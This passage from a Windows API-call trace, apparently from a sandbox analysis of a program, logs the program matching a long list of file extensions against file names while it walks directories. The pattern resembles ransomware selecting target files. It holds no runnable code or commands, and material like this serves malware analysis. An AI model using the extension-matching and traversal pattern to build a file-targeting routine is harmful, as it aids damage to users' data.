lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0278.909] lstrlenW (lpString=".gif") returned 4 [0278.909] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0278.909] lstrlenW (lpString=".grs") returned 4 [0278.909] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0278.909] lstrlenW (lpString=".gz") returned 3 [0278.909] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0278.909] lstrlenW (lpString=".h") returned 2 [0278.909] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0278.909] lstrlenW (lpString=".hdr") returned 4 [0278.909] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0278.909] lstrlenW (lpString=".hpp") returned 4 [0278.909] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0278.909] lstrlenW (lpString=".hta") returned 4 [0278.909] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0278.909] lstrlenW (lpString=".htc") returned 4 [0278.909] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0278.909] lstrlenW (lpString=".htm") returned 4 [0278.910] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0278.910] lstrlenW (lpString=".html") returned 5 [0278.910] lstrcmpiW (lpString1=".html", lpString2="t.dll") returned -1 [0278.910] lstrlenW (lpString=".icb") returned 4 [0278.910] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0278.910] lstrlenW (lpString=".ics") returned 4 [0278.910] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0278.910] lstrlenW (lpString=".iff") returned 4 [0278.910] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0278.910] lstrlenW (lpString=".inc") returned 4 [0278.910] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0278.910] lstrlenW (lpString=".indd") returned 5 [0278.910] lstrcmpiW (lpString1=".indd", lpString2="t.dll") returned -1 [0278.910] lstrlenW (lpString=".ini") returned 4 [0278.910] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0278.910] lstrlenW (lpString=".iqy") returned 4 [0278.910] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0278.910] lstrlenW (lpString=".j2c") returned 4 [0278.910] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0278.910] lstrlenW (lpString=".j2k") returned 4 [0278.910] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0278.910] lstrlenW (lpString=".java") returned 5 [0278.911] lstrcmpiW (lpString1=".java", lpString2="t.dll") returned -1 [0278.911] lstrlenW (lpString=".jp2") returned 4 [0278.911] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0278.911] lstrlenW (lpString=".jpc") returned 4 [0278.911] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0278.911] lstrlenW (lpString=".jpe") returned 4 [0278.911] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0278.911] lstrlenW (lpString=".jpeg") returned 5 [0278.911] lstrcmpiW (lpString1=".jpeg", lpString2="t.dll") returned -1 [0278.911] lstrlenW (lpString=".jpf") returned 4 [0278.911] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0278.911] lstrlenW (lpString=".jpg") returned 4 [0278.911] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0278.911] lstrlenW (lpString=".jpx") returned 4 [0278.911] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0278.911] lstrlenW (lpString=".js") returned 3 [0278.911] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0278.911] lstrlenW (lpString=".jsf") returned 4 [0278.911] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0278.911] lstrlenW (lpString=".json") returned 5 [0278.911] lstrcmpiW (lpString1=".json", lpString2="t.dll") returned -1 [0278.911] lstrlenW (lpString=".jsp") returned 4 [0278.912] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0278.912] lstrlenW (lpString=".kdc") returned 4 [0278.912] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0278.912] lstrlenW (lpString=".kmz") returned 4 [0278.912] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0278.912] lstrlenW (lpString=".kwm") returned 4 [0278.912] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0278.912] lstrlenW (lpString=".lasso") returned 6 [0278.912] lstrcmpiW (lpString1=".lasso", lpString2="ct.dll") returned -1 [0278.912] lstrlenW (lpString=".lbi") returned 4 [0278.912] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0278.912] lstrlenW (lpString=".lgf") returned 4 [0278.912] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0278.912] lstrlenW (lpString=".lgp") returned 4 [0278.912] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0278.912] lstrlenW (lpString=".log") returned 4 [0278.912] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0278.912] lstrlenW (lpString=".m1v") returned 4 [0278.912] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0278.912] lstrlenW (lpString=".m4a") returned 4 [0278.912] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0278.912] lstrlenW (lpString=".m4v") returned 4 [0278.913] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0278.913] lstrlenW (lpString=".max") returned 4 [0278.913] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0278.913] lstrlenW (lpString=".md") returned 3 [0278.913] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0278.913] lstrlenW (lpString=".mda") returned 4 [0278.913] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0278.913] lstrlenW (lpString=".mdb") returned 4 [0278.913] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0278.913] lstrlenW (lpString=".mde") returned 4 [0278.913] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0278.913] lstrlenW (lpString=".mdf") returned 4 [0278.913] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0278.913] lstrlenW (lpString=".mdw") returned 4 [0278.913] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0278.913] lstrlenW (lpString=".mef") returned 4 [0278.913] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0278.913] lstrlenW (lpString=".mft") returned 4 [0278.913] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0278.913] lstrlenW (lpString=".mfw") returned 4 [0278.913] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0278.913] lstrlenW (lpString=".mht") returned 4 [0278.914] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0278.914] lstrlenW (lpString=".mhtml") returned 6 [0278.914] lstrcmpiW (lpString1=".mhtml", lpString2="ct.dll") returned -1 [0278.914] lstrlenW (lpString=".mka") returned 4 [0278.914] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0278.914] lstrlenW (lpString=".mkidx") returned 6 [0278.914] lstrcmpiW (lpString1=".mkidx", lpString2="ct.dll") returned -1 [0278.914] lstrlenW (lpString=".mkv") returned 4 [0278.914] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0278.914] lstrlenW (lpString=".mos") returned 4 [0278.914] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0278.914] lstrlenW (lpString=".mov") returned 4 [0278.914] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0278.914] lstrlenW (lpString=".mp3") returned 4 [0278.914] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0278.914] lstrlenW (lpString=".mp4") returned 4 [0278.914] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0278.915] lstrlenW (lpString=".mpeg") returned 5 [0278.915] lstrcmpiW (lpString1=".mpeg", lpString2="t.dll") returned -1 [0278.915] lstrlenW (lpString=".mpg") returned 4 [0278.915] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0278.915] lstrlenW (lpString=".mpv") returned 4 [0278.915] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0278.915] lstrlenW (lpString=".mrw") returned 4 [0278.915] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0278.915] lstrlenW (lpString=".msg") returned 4 [0278.915] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0278.915] lstrlenW (lpString=".mxl") returned 4 [0278.915] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0278.915] lstrlenW (lpString=".myd") returned 4 [0278.915] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0278.916] lstrlenW (lpString=".myi") returned 4 [0278.916] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0278.916] lstrlenW (lpString=".nef") returned 4 [0278.916] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0278.916] lstrlenW (lpString=".nrw") returned 4 [0278.916] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0278.916] lstrlenW (lpString=".obj") returned 4 [0278.916] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0278.916] lstrlenW (lpString=".odb") returned 4 [0278.916] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0278.916] lstrlenW (lpString=".odc") returned 4 [0278.916] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0278.916] lstrlenW (lpString=".odm") returned 4 [0278.916] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0278.916] lstrlenW (lpString=".odp") returned 4 [0278.916] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0278.916] lstrlenW (lpString=".ods") returned 4 [0278.916] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0278.917] lstrlenW (lpString=".oft") returned 4 [0278.917] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0278.917] lstrlenW (lpString=".one") returned 4 [0278.917] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0278.917] lstrlenW (lpString=".onepkg") returned 7 [0278.917] lstrcmpiW (lpString1=".onepkg", lpString2="ect.dll") returned -1 [0278.918] lstrlenW (lpString=".onetoc2") returned 8 [0278.918] lstrcmpiW (lpString1=".onetoc2", lpString2="nect.dll") returned -1 [0278.918] lstrlenW (lpString=".opt") returned 4 [0278.918] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0278.918] lstrlenW (lpString=".oqy") returned 4 [0278.918] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0278.918] lstrlenW (lpString=".orf") returned 4 [0278.918] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0278.918] lstrlenW (lpString=".p12") returned 4 [0278.918] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0278.918] lstrlenW (lpString=".p7b") returned 4 [0278.918] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0278.918] lstrlenW (lpString=".p7c") returned 4 [0278.918] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0278.918] lstrlenW (lpString=".pam") returned 4 [0278.918] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0278.918] lstrlenW (lpString=".pbm") returned 4 [0278.918] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0278.918] lstrlenW (lpString=".pct") returned 4 [0278.918] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0278.918] lstrlenW (lpString=".pcx") returned 4 [0278.918] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0278.919] lstrlenW (lpString=".pdd") returned 4 [0278.919] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0278.919] lstrlenW (lpString=".pdf") returned 4 [0278.919] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0278.919] lstrlenW (lpString=".pdp") returned 4 [0278.919] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0278.919] lstrlenW (lpString=".pef") returned 4 [0278.919] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0278.919] lstrlenW (lpString=".pem") returned 4 [0278.919] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0278.919] lstrlenW (lpString=".pff") returned 4 [0278.919] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0278.919] lstrlenW (lpString=".pfm") returned 4 [0278.919] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0278.919] lstrlenW (lpString=".pfx") returned 4 [0278.919] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0278.919] lstrlenW (lpString=".pgm") returned 4 [0278.919] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0278.919] lstrlenW (lpString=".php") returned 4 [0278.919] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0278.919] lstrlenW (lpString=".php3") returned 5 [0278.919] lstrcmpiW (lpString1=".php3", lpString2="t.dll") returned -1 [0278.919] lstrlenW (lpString=".php4") returned 5 [0278.920] lstrcmpiW (lpString1=".php4", lpString2="t.dll") returned -1 [0278.920] lstrlenW (lpString=".php5") returned 5 [0278.920] lstrcmpiW (lpString1=".php5", lpString2="t.dll") returned -1 [0278.920] lstrlenW (lpString=".phtml") returned 6 [0278.920] lstrcmpiW (lpString1=".phtml", lpString2="ct.dll") returned -1 [0278.920] lstrlenW (lpString=".pict") returned 5 [0278.920] lstrcmpiW (lpString1=".pict", lpString2="t.dll") returned -1 [0278.920] lstrlenW (lpString=".pl") returned 3 [0278.920] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0278.920] lstrlenW (lpString=".pls") returned 4 [0278.920] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0278.920] lstrlenW (lpString=".pm") returned 3 [0278.920] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0278.920] lstrlenW (lpString=".png") returned 4 [0278.920] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0278.920] lstrlenW (lpString=".pnm") returned 4 [0278.920] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0278.920] lstrlenW (lpString=".pot") returned 4 [0278.920] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0278.920] lstrlenW (lpString=".potm") returned 5 [0278.920] lstrcmpiW (lpString1=".potm", lpString2="t.dll") returned -1 [0278.920] lstrlenW (lpString=".potx") returned 5 [0278.920] lstrcmpiW (lpString1=".potx", lpString2="t.dll") returned -1 [0278.920] lstrlenW (lpString=".ppa") returned 4 [0278.921] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0278.921] lstrlenW (lpString=".ppam") returned 5 [0278.921] lstrcmpiW (lpString1=".ppam", lpString2="t.dll") returned -1 [0278.921] lstrlenW (lpString=".ppm") returned 4 [0278.921] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0278.921] lstrlenW (lpString=".pps") returned 4 [0278.921] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0278.921] lstrlenW (lpString=".ppsm") returned 5 [0278.921] lstrcmpiW (lpString1=".ppsm", lpString2="t.dll") returned -1 [0278.921] lstrlenW (lpString=".ppt") returned 4 [0278.921] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0278.921] lstrlenW (lpString=".pptm") returned 5 [0278.921] lstrcmpiW (lpString1=".pptm", lpString2="t.dll") returned -1 [0278.921] lstrlenW (lpString=".pptx") returned 5 [0278.921] lstrcmpiW (lpString1=".pptx", lpString2="t.dll") returned -1 [0278.921] lstrlenW (lpString=".prn") returned 4 [0278.921] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0278.921] lstrlenW (lpString=".ps") returned 3 [0278.921] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0278.921] lstrlenW (lpString=".psb") returned 4 [0278.921] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0278.921] lstrlenW (lpString=".psd") returned 4 [0278.921] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0278.921] lstrlenW (lpString=".pst") returned 4 [0278.921] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0278.922] lstrlenW (lpString=".ptx") returned 4 [0278.922] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0278.922] lstrlenW (lpString=".pub") returned 4 [0278.922] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0278.922] lstrlenW (lpString=".pwm") returned 4 [0278.922] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0278.922] lstrlenW (lpString=".pxr") returned 4 [0278.922] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0278.922] lstrlenW (lpString=".py") returned 3 [0278.922] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0278.922] lstrlenW (lpString=".qt") returned 3 [0278.922] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0278.922] lstrlenW (lpString=".r3d") returned 4 [0278.922] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0278.923] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0278.923] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0278.923] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0278.923] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0278.926] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0278.926] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0278.973] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0278.973] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 0 [0278.973] FindClose (in: hFindFile=0x380be20 | out: hFindFile=0x380be20) returned 1 [0278.973] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0278.973] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 0 [0278.973] FindClose (in: hFindFile=0x380c1a0 | out: hFindFile=0x380c1a0) returned 1 [0278.973] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0278.973] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0278.975] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0278.976] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 0 [0278.976] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0278.976] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0278.976] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 0 [0278.976] FindClose (in: hFindFile=0x380c1a0 | out: hFindFile=0x380c1a0) returned 1 [0278.976] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0278.976] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0278.976] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0278.976] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.292] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0279.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0279.295] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0279.295] FindClose (in: hFindFile=0x380c1a0 | out: hFindFile=0x380c1a0) returned 1 [0279.295] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.295] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0279.295] FindClose (in: hFindFile=0x380bc20 | out: hFindFile=0x380bc20) returned 1 [0279.295] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0279.295] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0279.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0279.383] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0279.385] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0279.386] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0 [0279.386] FindClose (in: hFindFile=0x380be20 | out: hFindFile=0x380be20) returned 1 [0279.386] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0279.386] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0279.386] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0279.386] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 0 [0279.386] FindClose (in: hFindFile=0x380c220 | out: hFindFile=0x380c220) returned 1 [0279.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0279.392] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0279.392] FindClose (in: hFindFile=0x380bce0 | out: hFindFile=0x380bce0) returned 1 [0279.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.395] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0279.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.396] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0279.399] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0279.399] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 0 [0279.400] FindClose (in: hFindFile=0x380c1a0 | out: hFindFile=0x380c1a0) returned 1 [0279.400] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0279.400] FindNextFileW (in: hFindFile=0x380c020, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0279.400] FindClose (in: hFindFile=0x380c020 | out: hFindFile=0x380c020) returned 1 [0279.400] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.400] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0279.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0279.401] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 0 [0279.401] FindClose (in: hFindFile=0x380c0a0 | out: hFindFile=0x380c0a0) returned 1 [0279.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0279.401] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0279.402] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0279.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.402] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0279.402] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0279.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0279.402] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0279.461] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0279.461] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0279.473] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0279.473] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0 [0279.473] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0279.473] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0279.473] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0279.474] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0279.474] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 0 [0279.474] FindClose (in: hFindFile=0x380bc20 | out: hFindFile=0x380bc20) returned 1 [0279.474] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0279.477] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0279.477] FindClose (in: hFindFile=0x380be20 | out: hFindFile=0x380be20) returned 1 [0279.477] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.477] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0279.521] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0279.521] FindNextFileW (in: hFindFile=0x380c020, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0279.544] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0279.544] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0279.577] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0279.578] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0279.583] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0279.583] FindNextFileW (in: hFindFile=0x380c020, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0279.585] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0279.585] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0279.585] FindClose (in: hFindFile=0x380bc20 | out: hFindFile=0x380bc20) returned 1 [0279.585] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.585] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0279.586] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0279.586] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5eb94 | out: 